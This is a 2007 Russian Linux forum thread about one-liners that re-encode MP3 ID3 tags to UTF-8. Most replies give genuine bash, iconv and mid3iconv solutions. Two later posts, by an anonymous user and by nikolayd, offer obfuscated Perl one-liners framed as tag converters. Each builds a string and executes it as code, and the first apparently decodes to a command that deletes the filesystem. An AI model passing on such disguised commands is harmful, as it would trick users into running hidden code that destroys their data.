Форум — Talks теги...забыл как.. 0 0 Был помню башевый скрипт в одну строчку , который ловко перекодировал все теги mp3 в utf-8.. там как-то через iconv ... помогите кто помнит!! Ссылка
for i in $MP3PATH/*mp3; do id3tag -s"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TIT2" | sed -e 's/^.*: //'` " "${i}" > /dev/null && id3tag -a"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TPE1" | sed -e 's/^.*: //'`" "${i}" > /dev/null && id3tag -A"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TALB" | sed -e 's/^.*: //'`" "${i}" > /dev/null; done edw1n ★★ (12.09.07 21:33:06 MSK) Показать ответы Ссылка
Полностью рабочий вариант: #!/bin/bash echo Где лежат mp3?;read MP3PATH; echo В какой они кодировке?;read CP1251; echo В какую кодировку переводить?;read KOI8R; for i in $MP3PATH/*mp3; do id3tag -s"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TIT2" | sed -e 's/^.*: //'` " "${i}" > /dev/null && id3tag -a"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TPE1" | sed -e 's/^.*: //'`" "${i}" > /dev/null && id3tag -A"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TALB" | sed -e 's/^.*: //'`" "${i}" > /dev/null; done echo ____________________________; echo \|СПИСОК ОБРАБОТАННЫХ ФАЙЛОВ\|; echo ^^^^^^^^^^^^^^^^^^^^^^^^^^^^; ls -i $MP3PATH|grep *mp3 edw1n ★★ (12.09.07 21:34:25 MSK) Ссылка
Ответ на: комментарий от edw1n 12.09.07 21:33:06 MSK find -iname '*.mp3' -print0 | xargs -0 mid3iconv -eCP1251 --remove-v1 спасибо всем ..но вот это я искал... HG (12.09.07 21:36:06 MSK) автор топика Ссылка
помнится, была какая-то замечательная строчка на перле, она теги на всем диске перекодировала... Osmos ★★ (12.09.07 22:53:49 MSK) Показать ответ Ссылка
Ответ на: комментарий от Osmos 12.09.07 22:53:49 MSK > помнится, была какая-то замечательная строчка на перле, она теги на всем диске перекодировала... Эта? cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Ньюфагам: http://www.linux.org.ru/view-message.jsp?msgid=392747 anonymous (12.09.07 23:30:53 MSK) Показать ответ Ссылка
Ответ на: комментарий от edw1n 12.09.07 21:33:06 MSK > for i in $MP3PATH/*mp3; do id3tag -s"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TIT2" | sed -e 's/^.*: //'` " "${i}" > /dev/null && id3tag -a"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TPE1" | sed -e 's/^.*: //'`" "${i}" > /dev/null && id3tag -A"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TALB" | sed -e 's/^.*: //'`" "${i}" > /dev/null; done Тру. Вот мой ламерский вариант: mid3iconv -e cp1251 --remove-v1 *.mp3 ero-sennin ★★ (12.09.07 23:33:44 MSK) Ссылка
Ответ на: комментарий от anonymous 12.09.07 23:30:53 MSK Неа #!/usr/bin/perl -w $\='`'|"'";$\++;$;='/'|'`';$;++;$;++;$;++;$,=$;;$,++;$/=$,;$/++;$:=$/;$:++;$_= '%'|'`';$_.='`'|'#';$_.=$\;$_.='`'|'/';$_.=$".'"';$_.='@'|'*'&~'!';$_.="$:$,$/" .$";$_.='`'|'!';$_.='`'|'.';$_.='/'|'`';$_.=$/.$\;$_.='%'|'`';$_.=$;.$";$_.='@' |':'&~'*';$_.='`'|'%';$_.=$;;$_.='`'|',';$_.=$".$\;$_.='`'|'!';$_.='#'|'`';$_.= '+'|'`';$_.='`'|'%';$_.=$;.'"'.$".'>&';$_.=$,&':';`$_`; nikolayd ★ (12.09.07 23:52:19 MSK) Показать ответ Ссылка
Ответ на: комментарий от nikolayd 12.09.07 23:52:19 MSK Всего-то... Xellos ★★★★★ (13.09.07 13:40:50 MSK) Ссылка